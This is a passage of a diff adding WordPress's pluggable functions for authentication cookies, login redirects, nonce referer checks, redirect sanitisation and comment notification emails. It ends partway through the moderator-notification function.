+		 * Fires if a bad username is entered in the user authentication process.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array $cookie_elements An array of data for the authentication cookie.
+		 */
+		do_action( 'auth_cookie_bad_username', $cookie_elements );
+		return false;
+	}
+
+	$pass_frag = substr($user->user_pass, 8, 4);
+
+	$key = wp_hash( $username . '|' . $pass_frag . '|' . $expiration . '|' . $token, $scheme );
+
+	// If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
+	$algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
+	$hash = hash_hmac( $algo, $username . '|' . $expiration . '|' . $token, $key );
+
+	if ( ! hash_equals( $hash, $hmac ) ) {
+		/**
+		 * Fires if a bad authentication cookie hash is encountered.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array $cookie_elements An array of data for the authentication cookie.
+		 */
+		do_action( 'auth_cookie_bad_hash', $cookie_elements );
+		return false;
+	}
+
+	$manager = WP_Session_Tokens::get_instance( $user->ID );
+	if ( ! $manager->verify( $token ) ) {
+		do_action( 'auth_cookie_bad_session_token', $cookie_elements );
+		return false;
+	}
+
+	// AJAX/POST grace period set above
+	if ( $expiration < time() ) {
+		$GLOBALS['login_grace_period'] = 1;
+	}
+
+	/**
+	 * Fires once an authentication cookie has been validated.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array   $cookie_elements An array of data for the authentication cookie.
+	 * @param WP_User $user            User object.
+	 */
+	do_action( 'auth_cookie_valid', $cookie_elements, $user );
+
+	return $user->ID;
+}
+endif;
+
+if ( !function_exists('wp_generate_auth_cookie') ) :
+/**
+ * Generate authentication cookie contents.
+ *
+ * @since 2.5.0
+ *
+ * @param int $user_id User ID
+ * @param int $expiration Cookie expiration in seconds
+ * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in
+ * @param string $token User's session token to use for this cookie
+ * @return string Authentication cookie contents. Empty string if user does not exist.
+ */
+function wp_generate_auth_cookie( $user_id, $expiration, $scheme = 'auth', $token = '' ) {
+	$user = get_userdata($user_id);
+	if ( ! $user ) {
+		return '';
+	}
+
+	if ( ! $token ) {
+		$manager = WP_Session_Tokens::get_instance( $user_id );
+		$token = $manager->create( $expiration );
+	}
+
+	$pass_frag = substr($user->user_pass, 8, 4);
+
+	$key = wp_hash( $user->user_login . '|' . $pass_frag . '|' . $expiration . '|' . $token, $scheme );
+
+	// If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
+	$algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
+	$hash = hash_hmac( $algo, $user->user_login . '|' . $expiration . '|' . $token, $key );
+
+	$cookie = $user->user_login . '|' . $expiration . '|' . $token . '|' . $hash;
+
+	/**
+	 * Filter the authentication cookie.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $cookie     Authentication cookie.
+	 * @param int    $user_id    User ID.
+	 * @param int    $expiration Authentication cookie expiration in seconds.
+	 * @param string $scheme     Cookie scheme used. Accepts 'auth', 'secure_auth', or 'logged_in'.
+	 * @param string $token      User's session token used.
+	 */
+	return apply_filters( 'auth_cookie', $cookie, $user_id, $expiration, $scheme, $token );
+}
+endif;
+
+if ( !function_exists('wp_parse_auth_cookie') ) :
+/**
+ * Parse a cookie into its components
+ *
+ * @since 2.7.0
+ *
+ * @param string $cookie
+ * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in
+ * @return array Authentication cookie components
+ */
+function wp_parse_auth_cookie($cookie = '', $scheme = '') {
+	if ( empty($cookie) ) {
+		switch ($scheme){
+			case 'auth':
+				$cookie_name = AUTH_COOKIE;
+				break;
+			case 'secure_auth':
+				$cookie_name = SECURE_AUTH_COOKIE;
+				break;
+			case "logged_in":
+				$cookie_name = LOGGED_IN_COOKIE;
+				break;
+			default:
+				if ( is_ssl() ) {
+					$cookie_name = SECURE_AUTH_COOKIE;
+					$scheme = 'secure_auth';
+				} else {
+					$cookie_name = AUTH_COOKIE;
+					$scheme = 'auth';
+				}
+	    }
+
+		if ( empty($_COOKIE[$cookie_name]) )
+			return false;
+		$cookie = $_COOKIE[$cookie_name];
+	}
+
+	$cookie_elements = explode('|', $cookie);
+	if ( count( $cookie_elements ) !== 4 ) {
+		return false;
+	}
+
+	list( $username, $expiration, $token, $hmac ) = $cookie_elements;
+
+	return compact( 'username', 'expiration', 'token', 'hmac', 'scheme' );
+}
+endif;
+
+if ( !function_exists('wp_set_auth_cookie') ) :
+/**
+ * Sets the authentication cookies based on user ID.
+ *
+ * The $remember parameter increases the time that the cookie will be kept. The
+ * default the cookie is kept without remembering is two days. When $remember is
+ * set, the cookies will be kept for 14 days or two weeks.
+ *
+ * @since 2.5.0
+ *
+ * @param int $user_id User ID
+ * @param bool $remember Whether to remember the user
+ * @param mixed $secure  Whether the admin cookies should only be sent over HTTPS.
+ *                       Default is_ssl().
+ */
+function wp_set_auth_cookie($user_id, $remember = false, $secure = '') {
+	if ( $remember ) {
+		/**
+		 * Filter the duration of the authentication cookie expiration period.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param int  $length   Duration of the expiration period in seconds.
+		 * @param int  $user_id  User ID.
+		 * @param bool $remember Whether to remember the user login. Default false.
+		 */
+		$expiration = time() + apply_filters( 'auth_cookie_expiration', 14 * DAY_IN_SECONDS, $user_id, $remember );
+
+		/*
+		 * Ensure the browser will continue to send the cookie after the expiration time is reached.
+		 * Needed for the login grace period in wp_validate_auth_cookie().
+		 */
+		$expire = $expiration + ( 12 * HOUR_IN_SECONDS );
+	} else {
+		/** This filter is documented in wp-includes/pluggable.php */
+		$expiration = time() + apply_filters( 'auth_cookie_expiration', 2 * DAY_IN_SECONDS, $user_id, $remember );
+		$expire = 0;
+	}
+
+	if ( '' === $secure ) {
+		$secure = is_ssl();
+	}
+
+	// Frontend cookie is secure when the auth cookie is secure and the site's home URL is forced HTTPS.
+	$secure_logged_in_cookie = $secure && 'https' === parse_url( get_option( 'home' ), PHP_URL_SCHEME );
+
+	/**
+	 * Filter whether the connection is secure.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $secure  Whether the connection is secure.
+	 * @param int  $user_id User ID.
+	 */
+	$secure = apply_filters( 'secure_auth_cookie', $secure, $user_id );
+
+	/**
+	 * Filter whether to use a secure cookie when logged-in.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $secure_logged_in_cookie Whether to use a secure cookie when logged-in.
+	 * @param int  $user_id                 User ID.
+	 * @param bool $secure                  Whether the connection is secure.
+	 */
+	$secure_logged_in_cookie = apply_filters( 'secure_logged_in_cookie', $secure_logged_in_cookie, $user_id, $secure );
+
+	if ( $secure ) {
+		$auth_cookie_name = SECURE_AUTH_COOKIE;
+		$scheme = 'secure_auth';
+	} else {
+		$auth_cookie_name = AUTH_COOKIE;
+		$scheme = 'auth';
+	}
+
+	$manager = WP_Session_Tokens::get_instance( $user_id );
+	$token = $manager->create( $expiration );
+
+	$auth_cookie = wp_generate_auth_cookie( $user_id, $expiration, $scheme, $token );
+	$logged_in_cookie = wp_generate_auth_cookie( $user_id, $expiration, 'logged_in', $token );
+
+	/**
+	 * Fires immediately before the authentication cookie is set.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $auth_cookie Authentication cookie.
+	 * @param int    $expire      Login grace period in seconds. Default 43,200 seconds, or 12 hours.
+	 * @param int    $expiration  Duration in seconds the authentication cookie should be valid.
+	 *                            Default 1,209,600 seconds, or 14 days.
+	 * @param int    $user_id     User ID.
+	 * @param string $scheme      Authentication scheme. Values include 'auth', 'secure_auth', or 'logged_in'.
+	 */
+	do_action( 'set_auth_cookie', $auth_cookie, $expire, $expiration, $user_id, $scheme );
+
+	/**
+	 * Fires immediately before the secure authentication cookie is set.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $logged_in_cookie The logged-in cookie.
+	 * @param int    $expire           Login grace period in seconds. Default 43,200 seconds, or 12 hours.
+	 * @param int    $expiration       Duration in seconds the authentication cookie should be valid.
+	 *                                 Default 1,209,600 seconds, or 14 days.
+	 * @param int    $user_id          User ID.
+	 * @param string $scheme           Authentication scheme. Default 'logged_in'.
+	 */
+	do_action( 'set_logged_in_cookie', $logged_in_cookie, $expire, $expiration, $user_id, 'logged_in' );
+
+	setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true);
+	setcookie($auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, $secure, true);
+	setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true);
+	if ( COOKIEPATH != SITECOOKIEPATH )
+		setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true);
+}
+endif;
+
+if ( !function_exists('wp_clear_auth_cookie') ) :
+/**
+ * Removes all of the cookies associated with authentication.
+ *
+ * @since 2.5.0
+ */
+function wp_clear_auth_cookie() {
+	/**
+	 * Fires just before the authentication cookies are cleared.
+	 *
+	 * @since 2.7.0
+	 */
+	do_action( 'clear_auth_cookie' );
+
+	setcookie( AUTH_COOKIE,        ' ', time() - YEAR_IN_SECONDS, ADMIN_COOKIE_PATH,   COOKIE_DOMAIN );
+	setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, ADMIN_COOKIE_PATH,   COOKIE_DOMAIN );
+	setcookie( AUTH_COOKIE,        ' ', time() - YEAR_IN_SECONDS, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN );
+	setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN );
+	setcookie( LOGGED_IN_COOKIE,   ' ', time() - YEAR_IN_SECONDS, COOKIEPATH,          COOKIE_DOMAIN );
+	setcookie( LOGGED_IN_COOKIE,   ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH,      COOKIE_DOMAIN );
+
+	// Old cookies
+	setcookie( AUTH_COOKIE,        ' ', time() - YEAR_IN_SECONDS, COOKIEPATH,     COOKIE_DOMAIN );
+	setcookie( AUTH_COOKIE,        ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
+	setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH,     COOKIE_DOMAIN );
+	setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
+
+	// Even older cookies
+	setcookie( USER_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH,     COOKIE_DOMAIN );
+	setcookie( PASS_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH,     COOKIE_DOMAIN );
+	setcookie( USER_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
+	setcookie( PASS_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
+}
+endif;
+
+if ( !function_exists('is_user_logged_in') ) :
+/**
+ * Checks if the current visitor is a logged in user.
+ *
+ * @since 2.0.0
+ *
+ * @return bool True if user is logged in, false if not logged in.
+ */
+function is_user_logged_in() {
+	$user = wp_get_current_user();
+
+	if ( ! $user->exists() )
+		return false;
+
+	return true;
+}
+endif;
+
+if ( !function_exists('auth_redirect') ) :
+/**
+ * Checks if a user is logged in, if not it redirects them to the login page.
+ *
+ * @since 1.5.0
+ */
+function auth_redirect() {
+	// Checks if a user is logged in, if not redirects them to the login page
+
+	$secure = ( is_ssl() || force_ssl_admin() );
+
+	/**
+	 * Filter whether to use a secure authentication redirect.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $secure Whether to use a secure authentication redirect. Default false.
+	 */
+	$secure = apply_filters( 'secure_auth_redirect', $secure );
+
+	// If https is required and request is http, redirect
+	if ( $secure && !is_ssl() && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) {
+		if ( 0 === strpos( $_SERVER['REQUEST_URI'], 'http' ) ) {
+			wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
+			exit();
+		} else {
+			wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+			exit();
+		}
+	}
+
+	if ( is_user_admin() ) {
+		$scheme = 'logged_in';
+	} else {
+		/**
+		 * Filter the authentication redirect scheme.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $scheme Authentication redirect scheme. Default empty.
+		 */
+		$scheme = apply_filters( 'auth_redirect_scheme', '' );
+	}
+
+	if ( $user_id = wp_validate_auth_cookie( '',  $scheme) ) {
+		/**
+		 * Fires before the authentication redirect.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param int $user_id User ID.
+		 */
+		do_action( 'auth_redirect', $user_id );
+
+		// If the user wants ssl but the session is not ssl, redirect.
+		if ( !$secure && get_user_option('use_ssl', $user_id) && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) {
+			if ( 0 === strpos( $_SERVER['REQUEST_URI'], 'http' ) ) {
+				wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
+				exit();
+			} else {
+				wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+				exit();
+			}
+		}
+
+		return;  // The cookie is good so we're done
+	}
+
+	// The cookie is no good so force login
+	nocache_headers();
+
+	$redirect = ( strpos( $_SERVER['REQUEST_URI'], '/options.php' ) && wp_get_referer() ) ? wp_get_referer() : set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+
+	$login_url = wp_login_url($redirect, true);
+
+	wp_redirect($login_url);
+	exit();
+}
+endif;
+
+if ( !function_exists('check_admin_referer') ) :
+/**
+ * Makes sure that a user was referred from another admin page.
+ *
+ * To avoid security exploits.
+ *
+ * @since 1.2.0
+ *
+ * @param int|string $action    Action nonce
+ * @param string     $query_arg Where to look for nonce in $_REQUEST (since 2.5)
+ */
+function check_admin_referer($action = -1, $query_arg = '_wpnonce') {
+	if ( -1 == $action )
+		_doing_it_wrong( __FUNCTION__, __( 'You should specify a nonce action to be verified by using the first parameter.' ), '3.2' );
+
+	$adminurl = strtolower(admin_url());
+	$referer = strtolower(wp_get_referer());
+	$result = isset($_REQUEST[$query_arg]) ? wp_verify_nonce($_REQUEST[$query_arg], $action) : false;
+	if ( !$result && !(-1 == $action && strpos($referer, $adminurl) === 0) ) {
+		wp_nonce_ays($action);
+		die();
+	}
+
+	/**
+	 * Fires once the admin request has been validated or not.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $action The nonce action.
+	 * @param bool   $result Whether the admin request nonce was validated.
+	 */
+	do_action( 'check_admin_referer', $action, $result );
+	return $result;
+}
+endif;
+
+if ( !function_exists('check_ajax_referer') ) :
+/**
+ * Verifies the AJAX request to prevent processing requests external of the blog.
+ *
+ * @since 2.0.3
+ *
+ * @param int|string $action    Action nonce
+ * @param string     $query_arg Where to look for nonce in $_REQUEST (since 2.5)
+ */
+function check_ajax_referer( $action = -1, $query_arg = false, $die = true ) {
+	$nonce = '';
+
+	if ( $query_arg && isset( $_REQUEST[ $query_arg ] ) )
+		$nonce = $_REQUEST[ $query_arg ];
+	elseif ( isset( $_REQUEST['_ajax_nonce'] ) )
+		$nonce = $_REQUEST['_ajax_nonce'];
+	elseif ( isset( $_REQUEST['_wpnonce'] ) )
+		$nonce = $_REQUEST['_wpnonce'];
+
+	$result = wp_verify_nonce( $nonce, $action );
+
+	if ( $die && false == $result ) {
+		if ( defined( 'DOING_AJAX' ) && DOING_AJAX )
+			wp_die( -1 );
+		else
+			die( '-1' );
+	}
+
+	/**
+	 * Fires once the AJAX request has been validated or not.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $action The AJAX nonce action.
+	 * @param bool   $result Whether the AJAX request nonce was validated.
+	 */
+	do_action( 'check_ajax_referer', $action, $result );
+
+	return $result;
+}
+endif;
+
+if ( !function_exists('wp_redirect') ) :
+/**
+ * Redirects to another page.
+ *
+ * @since 1.5.1
+ *
+ * @param string $location The path to redirect to.
+ * @param int $status Status code to use.
+ * @return bool False if $location is not provided, true otherwise.
+ */
+function wp_redirect($location, $status = 302) {
+	global $is_IIS;
+
+	/**
+	 * Filter the redirect location.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $location The path to redirect to.
+	 * @param int    $status   Status code to use.
+	 */
+	$location = apply_filters( 'wp_redirect', $location, $status );
+
+	/**
+	 * Filter the redirect status code.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int    $status   Status code to use.
+	 * @param string $location The path to redirect to.
+	 */
+	$status = apply_filters( 'wp_redirect_status', $status, $location );
+
+	if ( ! $location )
+		return false;
+
+	$location = wp_sanitize_redirect($location);
+
+	if ( !$is_IIS && php_sapi_name() != 'cgi-fcgi' )
+		status_header($status); // This causes problems on IIS and some FastCGI setups
+
+	header("Location: $location", true, $status);
+
+	return true;
+}
+endif;
+
+if ( !function_exists('wp_sanitize_redirect') ) :
+/**
+ * Sanitizes a URL for use in a redirect.
+ *
+ * @since 2.3.0
+ *
+ * @return string redirect-sanitized URL
+ **/
+function wp_sanitize_redirect($location) {
+	$location = preg_replace('|[^a-z0-9-~+_.?#=&;,/:%!*\[\]()]|i', '', $location);
+	$location = wp_kses_no_null($location);
+
+	// remove %0d and %0a from location
+	$strip = array('%0d', '%0a', '%0D', '%0A');
+	$location = _deep_replace($strip, $location);
+	return $location;
+}
+endif;
+
+if ( !function_exists('wp_safe_redirect') ) :
+/**
+ * Performs a safe (local) redirect, using wp_redirect().
+ *
+ * Checks whether the $location is using an allowed host, if it has an absolute
+ * path. A plugin can therefore set or remove allowed host(s) to or from the
+ * list.
+ *
+ * If the host is not allowed, then the redirect is to wp-admin on the siteurl
+ * instead. This prevents malicious redirects which redirect to another host,
+ * but only used in a few places.
+ *
+ * @since 2.3.0
+ *
+ * @return void Does not return anything
+ **/
+function wp_safe_redirect($location, $status = 302) {
+
+	// Need to look at the URL the way it will end up in wp_redirect()
+	$location = wp_sanitize_redirect($location);
+
+	$location = wp_validate_redirect($location, admin_url());
+
+	wp_redirect($location, $status);
+}
+endif;
+
+if ( !function_exists('wp_validate_redirect') ) :
+/**
+ * Validates a URL for use in a redirect.
+ *
+ * Checks whether the $location is using an allowed host, if it has an absolute
+ * path. A plugin can therefore set or remove allowed host(s) to or from the
+ * list.
+ *
+ * If the host is not allowed, then the redirect is to $default supplied
+ *
+ * @since 2.8.1
+ *
+ * @param string $location The redirect to validate
+ * @param string $default The value to return if $location is not allowed
+ * @return string redirect-sanitized URL
+ **/
+function wp_validate_redirect($location, $default = '') {
+	$location = trim( $location );
+	// browsers will assume 'http' is your protocol, and will obey a redirect to a URL starting with '//'
+	if ( substr($location, 0, 2) == '//' )
+		$location = 'http:' . $location;
+
+	// In php 5 parse_url may fail if the URL query part contains http://, bug #38143
+	$test = ( $cut = strpos($location, '?') ) ? substr( $location, 0, $cut ) : $location;
+
+	$lp  = parse_url($test);
+
+	// Give up if malformed URL
+	if ( false === $lp )
+		return $default;
+
+	// Allow only http and https schemes. No data:, etc.
+	if ( isset($lp['scheme']) && !('http' == $lp['scheme'] || 'https' == $lp['scheme']) )
+		return $default;
+
+	// Reject if scheme is set but host is not. This catches urls like https:host.com for which parse_url does not set the host field.
+	if ( isset($lp['scheme'])  && !isset($lp['host']) )
+		return $default;
+
+	$wpp = parse_url(home_url());
+
+	/**
+	 * Filter the whitelist of hosts to redirect to.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param array       $hosts An array of allowed hosts.
+	 * @param bool|string $host  The parsed host; empty if not isset.
+	 */
+	$allowed_hosts = (array) apply_filters( 'allowed_redirect_hosts', array($wpp['host']), isset($lp['host']) ? $lp['host'] : '' );
+
+	if ( isset($lp['host']) && ( !in_array($lp['host'], $allowed_hosts) && $lp['host'] != strtolower($wpp['host'])) )
+		$location = $default;
+
+	return $location;
+}
+endif;
+
+if ( ! function_exists('wp_notify_postauthor') ) :
+/**
+ * Notify an author (and/or others) of a comment/trackback/pingback on a post.
+ *
+ * @since 1.0.0
+ *
+ * @param int $comment_id Comment ID
+ * @param string $deprecated Not used
+ * @return bool True on completion. False if no email addresses were specified.
+ */
+function wp_notify_postauthor( $comment_id, $deprecated = null ) {
+	if ( null !== $deprecated ) {
+		_deprecated_argument( __FUNCTION__, '3.8' );
+	}
+
+	$comment = get_comment( $comment_id );
+	if ( empty( $comment ) )
+		return false;
+
+	$post    = get_post( $comment->comment_post_ID );
+	$author  = get_userdata( $post->post_author );
+
+	// Who to notify? By default, just the post author, but others can be added.
+	$emails = array();
+	if ( $author ) {
+		$emails[] = $author->user_email;
+	}
+
+	/**
+	 * Filter the list of email addresses to receive a comment notification.
+	 *
+	 * By default, only post authors are notified of comments. This filter allows
+	 * others to be added.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $emails     An array of email addresses to receive a comment notification.
+	 * @param int   $comment_id The comment ID.
+	 */
+	$emails = apply_filters( 'comment_notification_recipients', $emails, $comment_id );
+	$emails = array_filter( $emails );
+
+	// If there are no addresses to send the comment to, bail.
+	if ( ! count( $emails ) ) {
+		return false;
+	}
+
+	// Facilitate unsetting below without knowing the keys.
+	$emails = array_flip( $emails );
+
+	/**
+	 * Filter whether to notify comment authors of their comments on their own posts.
+	 *
+	 * By default, comment authors aren't notified of their comments on their own
+	 * posts. This filter allows you to override that.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @param bool $notify     Whether to notify the post author of their own comment.
+	 *                         Default false.
+	 * @param int  $comment_id The comment ID.
+	 */
+	$notify_author = apply_filters( 'comment_notification_notify_author', false, $comment_id );
+
+	// The comment was left by the author
+	if ( $author && ! $notify_author && $comment->user_id == $post->post_author ) {
+		unset( $emails[ $author->user_email ] );
+	}
+
+	// The author moderated a comment on their own post
+	if ( $author && ! $notify_author && $post->post_author == get_current_user_id() ) {
+		unset( $emails[ $author->user_email ] );
+	}
+
+	// The post author is no longer a member of the blog
+	if ( $author && ! $notify_author && ! user_can( $post->post_author, 'read_post', $post->ID ) ) {
+		unset( $emails[ $author->user_email ] );
+	}
+
+	// If there's no email to send the comment to, bail, otherwise flip array back around for use below
+	if ( ! count( $emails ) ) {
+		return false;
+	} else {
+		$emails = array_flip( $emails );
+	}
+
+	$comment_author_domain = @gethostbyaddr($comment->comment_author_IP);
+
+	// The blogname option is escaped with esc_html on the way into the database in sanitize_option
+	// we want to reverse this for the plain text arena of emails.
+	$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
+
+	switch ( $comment->comment_type ) {
+		case 'trackback':
+			$notify_message  = sprintf( __( 'New trackback on your post "%s"' ), $post->post_title ) . "\r\n";
+			/* translators: 1: website name, 2: author IP, 3: author domain */
+			$notify_message .= sprintf( __('Website: %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= sprintf( __( 'Comment: %s' ), $comment->comment_content ) . "\r\n\r\n";
+			$notify_message .= __( 'You can see all trackbacks on this post here:' ) . "\r\n";
+			/* translators: 1: blog name, 2: post title */
+			$subject = sprintf( __('[%1$s] Trackback: "%2$s"'), $blogname, $post->post_title );
+			break;
+		case 'pingback':
+			$notify_message  = sprintf( __( 'New pingback on your post "%s"' ), $post->post_title ) . "\r\n";
+			/* translators: 1: comment author, 2: author IP, 3: author domain */
+			$notify_message .= sprintf( __('Website: %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= sprintf( __( 'Comment: %s' ), $comment->comment_content ) . "\r\n\r\n";
+			$notify_message .= __( 'You can see all pingbacks on this post here:' ) . "\r\n";
+			/* translators: 1: blog name, 2: post title */
+			$subject = sprintf( __('[%1$s] Pingback: "%2$s"'), $blogname, $post->post_title );
+			break;
+		default: // Comments
+			$notify_message  = sprintf( __( 'New comment on your post "%s"' ), $post->post_title ) . "\r\n";
+			/* translators: 1: comment author, 2: author IP, 3: author domain */
+			$notify_message .= sprintf( __( 'Author: %1$s (IP: %2$s , %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __( 'E-mail: %s' ), $comment->comment_author_email ) . "\r\n";
+			$notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= sprintf( __( 'Whois: %s' ), "http://whois.arin.net/rest/ip/{$comment->comment_author_IP}" ) . "\r\n";
+			$notify_message .= sprintf( __('Comment: %s' ), $comment->comment_content ) . "\r\n\r\n";
+			$notify_message .= __( 'You can see all comments on this post here:' ) . "\r\n";
+			/* translators: 1: blog name, 2: post title */
+			$subject = sprintf( __('[%1$s] Comment: "%2$s"'), $blogname, $post->post_title );
+			break;
+	}
+	$notify_message .= get_permalink($comment->comment_post_ID) . "#comments\r\n\r\n";
+	$notify_message .= sprintf( __('Permalink: %s'), get_comment_link( $comment_id ) ) . "\r\n";
+
+	if ( user_can( $post->post_author, 'edit_comment', $comment_id ) ) {
+		if ( EMPTY_TRASH_DAYS )
+			$notify_message .= sprintf( __('Trash it: %s'), admin_url("comment.php?action=trash&c=$comment_id") ) . "\r\n";
+		else
+			$notify_message .= sprintf( __('Delete it: %s'), admin_url("comment.php?action=delete&c=$comment_id") ) . "\r\n";
+		$notify_message .= sprintf( __('Spam it: %s'), admin_url("comment.php?action=spam&c=$comment_id") ) . "\r\n";
+	}
+
+	$wp_email = 'wordpress@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME']));
+
+	if ( '' == $comment->comment_author ) {
+		$from = "From: \"$blogname\" <$wp_email>";
+		if ( '' != $comment->comment_author_email )
+			$reply_to = "Reply-To: $comment->comment_author_email";
+	} else {
+		$from = "From: \"$comment->comment_author\" <$wp_email>";
+		if ( '' != $comment->comment_author_email )
+			$reply_to = "Reply-To: \"$comment->comment_author_email\" <$comment->comment_author_email>";
+	}
+
+	$message_headers = "$from\n"
+		. "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
+
+	if ( isset($reply_to) )
+		$message_headers .= $reply_to . "\n";
+
+	/**
+	 * Filter the comment notification email text.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string $notify_message The comment notification email text.
+	 * @param int    $comment_id     Comment ID.
+	 */
+	$notify_message = apply_filters( 'comment_notification_text', $notify_message, $comment_id );
+
+	/**
+	 * Filter the comment notification email subject.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string $subject    The comment notification email subject.
+	 * @param int    $comment_id Comment ID.
+	 */
+	$subject = apply_filters( 'comment_notification_subject', $subject, $comment_id );
+
+	/**
+	 * Filter the comment notification email headers.
+	 *
+	 * @since 1.5.2
+	 *
+	 * @param string $message_headers Headers for the comment notification email.
+	 * @param int    $comment_id      Comment ID.
+	 */
+	$message_headers = apply_filters( 'comment_notification_headers', $message_headers, $comment_id );
+
+	foreach ( $emails as $email ) {
+		@wp_mail( $email, wp_specialchars_decode( $subject ), $notify_message, $message_headers );
+	}
+
+	return true;
+}
+endif;
+
+if ( !function_exists('wp_notify_moderator') ) :
+/**
+ * Notifies the moderator of the blog about a new comment that is awaiting approval.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $comment_id Comment ID
+ * @return bool Always returns true
+ */
+function wp_notify_moderator($comment_id) {
+	global $wpdb;
+
+	if ( 0 == get_option( 'moderation_notify' ) )
+		return true;
+
+	$comment = get_comment($comment_id);
+	$post = get_post($comment->comment_post_ID);
+	$user = get_userdata( $post->post_author );
+	// Send to the administration and to the post author if the author can modify the comment.
+	$emails = array( get_option( 'admin_email' ) );
+	if ( user_can( $user->ID, 'edit_comment', $comment_id ) && ! empty( $user->user_email ) ) {
+		if ( 0 !== strcasecmp( $user->user_email, get_option( 'admin_email' ) ) )
+			$emails[] = $user->user_email;
+	}
+
+	$comment_author_domain = @gethostbyaddr($comment->comment_author_IP);
+	$comments_waiting = $wpdb->get_var("SELECT count(comment_ID) FROM $wpdb->comments WHERE comment_approved = '0'");
+
+	// The blogname option is escaped with esc_html on the way into the database in sanitize_option
+	// we want to reverse this for the plain text arena of emails.
+	$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
+
+	switch ( $comment->comment_type ) {
+		case 'trackback':
+			$notify_message  = sprintf( __('A new trackback on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n";
+			$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
+			$notify_message .= sprintf( __('Website : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __('URL    : %s'), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= __('Trackback excerpt: ') . "\r\n" . $comment->comment_content . "\r\n\r\n";
+			break;
+		case 'pingback':
+			$notify_message  = sprintf( __('A new pingback on the post "%s" is waiting for your approval'), $post->post_title ) . "\r\n";
+			$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
+			$notify_message .= sprintf( __('Website : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __('URL    : %s'), $comment->comment_author_url ) . "\r\n";
